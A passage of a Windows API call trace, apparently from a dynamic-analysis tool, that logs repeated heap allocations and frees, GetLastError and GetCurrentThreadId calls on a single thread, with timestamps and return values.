(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.768] GetLastError () returned 0x0 [0126.769] GetLastError () returned 0x0 [0126.770] GetCurrentThreadId () returned 0x9b0 [0126.770] GetLastError () returned 0x0 [0126.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.770] GetLastError () returned 0x0 [0126.770] GetLastError () returned 0x0 [0126.770] GetCurrentThreadId () returned 0x9b0 [0126.770] GetLastError () returned 0x0 [0126.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.771] GetCurrentThreadId () returned 0x9b0 [0126.771] GetLastError () returned 0x0 [0126.771] GetLastError () returned 0x0 [0126.771] GetLastError () returned 0x0 [0126.771] GetLastError () returned 0x0 [0126.771] GetCurrentThreadId () returned 0x9b0 [0126.771] GetLastError () returned 0x0 [0126.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0126.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0126.772] GetLastError () returned 0x0 [0126.773] GetLastError () returned 0x0 [0126.773] GetCurrentThreadId () returned 0x9b0 [0126.773] GetLastError () returned 0x0 [0126.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.773] GetLastError () returned 0x0 [0126.775] GetLastError () returned 0x0 [0126.775] GetCurrentThreadId () returned 0x9b0 [0126.775] GetLastError () returned 0x0 [0126.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0126.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.776] GetCurrentThreadId () returned 0x9b0 [0126.776] GetLastError () returned 0x0 [0126.776] GetLastError () returned 0x0 [0126.776] GetLastError () returned 0x0 [0126.776] GetLastError () returned 0x0 [0126.776] GetCurrentThreadId () returned 0x9b0 [0126.776] GetLastError () returned 0x0 [0126.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.777] GetLastError () returned 0x0 [0126.778] GetLastError () returned 0x0 [0126.778] GetCurrentThreadId () returned 0x9b0 [0126.778] GetLastError () returned 0x0 [0126.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.778] GetLastError () returned 0x0 [0126.786] GetLastError () returned 0x0 [0126.786] GetCurrentThreadId () returned 0x9b0 [0126.786] GetLastError () returned 0x0 [0126.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.787] GetCurrentThreadId () returned 0x9b0 [0126.787] GetLastError () returned 0x0 [0126.787] GetLastError () returned 0x0 [0126.787] GetLastError () returned 0x0 [0126.787] GetLastError () returned 0x0 [0126.788] GetCurrentThreadId () returned 0x9b0 [0126.788] GetLastError () returned 0x0 [0126.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0126.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.788] GetLastError () returned 0x0 [0126.793] GetLastError () returned 0x0 [0126.793] GetCurrentThreadId () returned 0x9b0 [0126.793] GetLastError () returned 0x0 [0126.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.793] GetLastError () returned 0x0 [0126.798] GetLastError () returned 0x0 [0126.798] GetCurrentThreadId () returned 0x9b0 [0126.798] GetLastError () returned 0x0 [0126.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653d8 [0126.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.799] GetLastError () returned 0x0 [0126.799] GetLastError () returned 0x0 [0126.799] GetLastError () returned 0x0 [0126.799] GetLastError () returned 0x0 [0126.799] GetCurrentThreadId () returned 0x9b0 [0126.800] GetLastError () returned 0x0 [0126.800] GetCurrentThreadId () returned 0x9b0 [0126.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.800] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0126.800] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.800] GetLastError () returned 0x0 [0126.801] GetLastError () returned 0x0 [0126.801] GetCurrentThreadId () returned 0x9b0 [0126.801] GetLastError () returned 0x0 [0126.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.802] GetLastError () returned 0x0 [0126.802] GetLastError () returned 0x0 [0126.802] GetCurrentThreadId () returned 0x9b0 [0126.802] GetLastError () returned 0x0 [0126.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653e8 [0126.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.802] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.802] GetLastError () returned 0x0 [0126.803] GetLastError () returned 0x0 [0126.803] GetLastError () returned 0x0 [0126.803] GetLastError () returned 0x0 [0126.803] GetCurrentThreadId () returned 0x9b0 [0126.803] GetLastError () returned 0x0 [0126.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0126.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.803] GetLastError () returned 0x0 [0126.804] GetLastError () returned 0x0 [0126.804] GetCurrentThreadId () returned 0x9b0 [0126.805] GetLastError () returned 0x0 [0126.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.805] GetCurrentThreadId () returned 0x9b0 [0126.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.805] GetLastError () returned 0x0 [0126.805] GetLastError () returned 0x0 [0126.807] GetCurrentThreadId () returned 0x9b0 [0126.807] GetLastError () returned 0x0 [0126.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0126.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.807] GetLastError () returned 0x0 [0126.808] GetLastError () returned 0x0 [0126.808] GetLastError () returned 0x0 [0126.808] GetLastError () returned 0x0 [0126.808] GetCurrentThreadId () returned 0x9b0 [0126.808] GetLastError () returned 0x0 [0126.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.808] GetLastError () returned 0x0 [0126.809] GetLastError () returned 0x0 [0126.810] GetCurrentThreadId () returned 0x9b0 [0126.810] GetLastError () returned 0x0 [0126.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.810] GetLastError () returned 0x0 [0126.810] GetLastError () returned 0x0 [0126.810] GetCurrentThreadId () returned 0x9b0 [0126.810] GetLastError () returned 0x0 [0126.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.810] GetCurrentThreadId () returned 0x9b0 [0126.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653e8 [0126.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.811] GetLastError () returned 0x0 [0126.811] GetLastError () returned 0x0 [0126.811] GetLastError () returned 0x0 [0126.811] GetLastError () returned 0x0 [0126.811] GetCurrentThreadId () returned 0x9b0 [0126.811] GetLastError () returned 0x0 [0126.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0126.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0126.812] GetLastError () returned 0x0 [0126.813] GetLastError () returned 0x0 [0126.813] GetCurrentThreadId () returned 0x9b0 [0126.814] GetLastError () returned 0x0 [0126.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.814] GetLastError () returned 0x0 [0126.814] GetLastError () returned 0x0 [0126.815] GetCurrentThreadId () returned 0x9b0 [0126.815] GetLastError () returned 0x0 [0126.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0126.815] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0126.815] GetCurrentThreadId () returned 0x9b0 [0126.815] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.816] GetLastError () returned 0x0 [0126.816] GetLastError () returned 0x0 [0126.816] GetLastError () returned 0x0 [0126.816] GetLastError () returned 0x0 [0126.816] GetCurrentThreadId () returned 0x9b0 [0126.816] GetLastError () returned 0x0 [0126.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.817] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.817] GetLastError () returned 0x0 [0126.818] GetLastError () returned 0x0 [0126.818] GetCurrentThreadId () returned 0x9b0 [0126.818] GetLastError () returned 0x0 [0126.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0126.818] GetLastError () returned 0x0 [0126.818] GetLastError () returned 0x0 [0126.818] GetCurrentThreadId () returned 0x9b0 [0126.818] GetLastError () returned 0x0 [0126.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0126.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0126.819] GetCurrentThreadId () returned 0x9b0 [0126.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.819] GetLastError () returned 0x0 [0126.819] GetLastError () returned 0x0 [0126.819] GetLastError () returned 0x0 [0126.819] GetLastError () returned 0x0 [0126.819] GetCurrentThreadId () returned 0x9b0 [0126.820] GetLastError () returned 0x0 [0126.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.820] GetLastError () returned 0x0 [0126.821] GetLastError () returned 0x0 [0126.821] GetCurrentThreadId () returned 0x9b0 [0126.821] GetLastError () returned 0x0 [0126.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0126.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.821] GetLastError () returned 0x0 [0126.822] GetLastError () returned 0x0 [0126.823] GetCurrentThreadId () returned 0x9b0 [0126.823] GetLastError () returned 0x0 [0126.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.823] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265388 [0126.823] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0126.823] GetCurrentThreadId () returned 0x9b0 [0126.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.824] GetCurrentThreadId () returned 0x9b0 [0126.825] GetCurrentThreadId () returned 0x9b0 [0126.825] GetCurrentThreadId () returned 0x9b0 [0126.825] GetCurrentThreadId () returned 0x9b0 [0126.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.826] GetCurrentThreadId () returned 0x9b0 [0126.827] GetCurrentThreadId () returned 0x9b0 [0126.828] GetCurrentThreadId () returned 0x9b0 [0126.828] GetCurrentThreadId () returned 0x9b0 [0126.829] GetCurrentThreadId () returned 0x9b0 [0126.830] GetCurrentThreadId () returned 0x9b0 [0126.830] GetCurrentThreadId () returned 0x9b0 [0126.830] GetCurrentThreadId () returned 0x9b0 [0126.830] GetCurrentThreadId () returned 0x9b0 [0126.832] GetCurrentThreadId () returned 0x9b0 [0126.833] GetCurrentThreadId () returned 0x9b0 [0126.834] GetCurrentThreadId () returned 0x9b0 [0126.834] GetCurrentThreadId () returned 0x9b0 [0126.835] GetCurrentThreadId () returned 0x9b0 [0126.835] GetCurrentThreadId () returned 0x9b0 [0126.835] GetCurrentThreadId () returned 0x9b0 [0126.836] GetCurrentThreadId () returned 0x9b0 [0126.838] GetCurrentThreadId () returned 0x9b0 [0126.839] GetCurrentThreadId () returned 0x9b0 [0126.839] GetCurrentThreadId () returned 0x9b0 [0126.842] GetCurrentThreadId () returned 0x9b0 [0126.843] GetCurrentThreadId () returned 0x9b0 [0126.843] GetCurrentThreadId () returned 0x9b0 [0126.843] GetCurrentThreadId () returned 0x9b0 [0126.844] GetCurrentThreadId () returned 0x9b0 [0126.845] GetCurrentThreadId () returned 0x9b0 [0126.847] GetCurrentThreadId () returned 0x9b0 [0126.848] GetCurrentThreadId () returned 0x9b0 [0126.848] GetCurrentThreadId () returned 0x9b0 [0126.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.849] GetCurrentThreadId () returned 0x9b0 [0126.860] GetCurrentThreadId () returned 0x9b0 [0126.860] GetCurrentThreadId () returned 0x9b0 [0126.864] GetCurrentThreadId () returned 0x9b0 [0126.865] GetCurrentThreadId () returned 0x9b0 [0126.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0126.866] GetCurrentThreadId () returned 0x9b0 [0126.866] GetCurrentThreadId () returned 0x9b0 [0126.868] GetCurrentThreadId () returned 0x9b0 [0126.868] GetCurrentThreadId () returned 0x9b0 [0126.869] GetCurrentThreadId () returned 0x9b0 [0126.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.869] GetCurrentThreadId () returned 0x9b0 [0126.870] GetCurrentThreadId () returned 0x9b0 [0126.871] GetCurrentThreadId () returned 0x9b0 [0126.872] GetCurrentThreadId () returned 0x9b0 [0126.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0126.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.873] GetCurrentThreadId () returned 0x9b0 [0126.874] GetCurrentThreadId () returned 0x9b0 [0126.874] GetCurrentThreadId () returned 0x9b0 [0126.874] GetCurrentThreadId () returned 0x9b0 [0126.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.875] GetCurrentThreadId () returned 0x9b0 [0126.877] GetCurrentThreadId () returned 0x9b0 [0126.878] GetCurrentThreadId () returned 0x9b0 [0126.878] GetCurrentThreadId () returned 0x9b0 [0126.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0126.878] GetCurrentThreadId () returned 0x9b0 [0126.880] GetCurrentThreadId () returned 0x9b0 [0126.880] GetCurrentThreadId () returned 0x9b0 [0126.880] GetCurrentThreadId () returned 0x9b0 [0126.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.880] GetCurrentThreadId () returned 0x9b0 [0126.882] GetCurrentThreadId () returned 0x9b0 [0126.932] GetCurrentThreadId () returned 0x9b0 [0126.932] GetCurrentThreadId () returned 0x9b0 [0126.933] GetCurrentThreadId () returned 0x9b0 [0126.934] GetCurrentThreadId () returned 0x9b0 [0126.934] GetCurrentThreadId () returned 0x9b0 [0126.934] GetCurrentThreadId () returned 0x9b0 [0126.935] GetCurrentThreadId () returned 0x9b0 [0126.936] GetCurrentThreadId () returned 0x9b0 [0126.938] GetCurrentThreadId () returned 0x9b0 [0126.938] GetCurrentThreadId () returned 0x9b0 [0126.938] GetCurrentThreadId () returned 0x9b0 [0126.939] GetCurrentThreadId () returned 0x9b0 [0126.940] GetCurrentThreadId () returned 0x9b0 [0126.940] GetCurrentThreadId () returned 0x9b0 [0126.940] GetCurrentThreadId () returned 0x9b0 [0126.941] GetCurrentThreadId () returned 0x9b0 [0126.943] GetCurrentThreadId () returned 0x9b0 [0126.943] GetCurrentThreadId () returned 0x9b0 [0126.944] GetCurrentThreadId () returned 0x9b0 [0126.945] GetCurrentThreadId () returned 0x9b0 [0126.945] GetCurrentThreadId () returned 0x9b0 [0126.945] GetCurrentThreadId () returned 0x9b0 [0126.946] GetCurrentThreadId () returned 0x9b0 [0126.948] GetCurrentThreadId () returned 0x9b0 [0126.949] GetCurrentThreadId () returned 0x9b0 [0126.949] GetCurrentThreadId () returned 0x9b0 [0126.950] GetCurrentThreadId () returned 0x9b0 [0126.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0126.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.951] GetCurrentThreadId () returned 0x9b0 [0126.951] GetCurrentThreadId () returned 0x9b0 [0126.952] GetCurrentThreadId () returned 0x9b0 [0126.952] GetCurrentThreadId () returned 0x9b0 [0126.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.953] GetCurrentThreadId () returned 0x9b0 [0126.955] GetCurrentThreadId () returned 0x9b0 [0126.955] GetCurrentThreadId () returned 0x9b0 [0126.956] GetCurrentThreadId () returned 0x9b0 [0126.964] GetCurrentThreadId () returned 0x9b0 [0126.964] GetCurrentThreadId () returned 0x9b0 [0126.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0126.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0126.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0126.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0126.965] GetCurrentThreadId () returned 0x9b0 [0126.969] GetCurrentThreadId () returned 0x9b0 [0126.999] GetCurrentThreadId () returned 0x9b0 [0126.999] GetCurrentThreadId () returned 0x9b0 [0126.999] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0126.999] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0127.000] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0127.000] GetCurrentThreadId () returned 0x9b0 [0127.001] GetCurrentThreadId () returned 0x9b0 [0127.002] GetCurrentThreadId () returned 0x9b0 [0127.002] GetCurrentThreadId () returned 0x9b0 [0127.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0127.002] GetCurrentThreadId () returned 0x9b0 [0127.004] GetCurrentThreadId () returned 0x9b0 [0127.006] GetCurrentThreadId () returned 0x9b0 [0127.006] GetCurrentThreadId () returned 0x9b0 [0127.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0127.006] GetCurrentThreadId () returned 0x9b0 [0127.008] GetCurrentThreadId () returned 0x9b0 [0127.008] GetCurrentThreadId () returned 0x9b0 [0127.008] GetCurrentThreadId () returned 0x9b0 [0127.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0127.009] GetCurrentThreadId () returned 0x9b0 [0127.010] GetCurrentThreadId () returned 0x9b0 [0127.012] GetCurrentThreadId () returned 0x9b0 [0127.012] GetCurrentThreadId () returned 0x9b0 [0127.012] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0127.012] GetCurrentThreadId () returned 0x9b0 [0127.013] GetCurrentThreadId () returned 0x9b0 [0127.014] GetCurrentThreadId () returned 0x9b0 [0127.014] GetCurrentThreadId () returned 0x9b0 [0127.014] GetCurrentThreadId () returned 0x9b0 [0127.015] GetCurrentThreadId () returned 0x9b0 [0127.016] GetCurrentThreadId () returned 0x9b0 [0127.017] GetCurrentThreadId () returned 0x9b0 [0127.017] GetCurrentThreadId () returned 0x9b0 [0127.019] GetCurrentThreadId () returned 0x9b0 [0127.019] GetCurrentThreadId () returned 0x9b0 [0127.020] GetCurrentThreadId () returned 0x9b0 [0127.020] GetCurrentThreadId () returned 0x9b0 [0127.022] GetCurrentThreadId () returned 0x9b0 [0127.022] GetCurrentThreadId () returned 0x9b0 [0127.023] GetCurrentThreadId () returned 0x9b0 [0127.023] GetCurrentThreadId () returned 0x9b0 [0127.024] GetCurrentThreadId () returned 0x9b0 [0127.024] GetCurrentThreadId () returned 0x9b0 [0127.024] GetCurrentThreadId () returned 0x9b0 [0127.025] GetCurrentThreadId () returned 0x9b0 [0127.026] GetCurrentThreadId () returned 0x9b0 [0127.026] GetCurrentThreadId () returned 0x9b0 [0127.027] GetCurrentThreadId () returned 0x9b0 [0127.028] GetCurrentThreadId () returned 0x9b0 [0127.029] GetCurrentThreadId () returned 0x9b0 [0127.029] GetCurrentThreadId () returned 0x9b0 [0127.029] GetCurrentThreadId () returned 0x9b0 [0127.029] GetCurrentThreadId () returned 0x9b0 [0127.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0127.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0127.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0127.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0127.031] GetCurrentThreadId () returned 0x9b0 [0127.031] GetCurrentThreadId () returned 0x9b0 [0127.032] GetCurrentThreadId () returned 0x9b0 [0127.033] GetCurrentThreadId () returned 0x9b0 [0127.033] GetCurrentThreadId () returned 0x9b0 [0127.033] RtlAllocateHeap (HeapHandle=0x2ad0000, 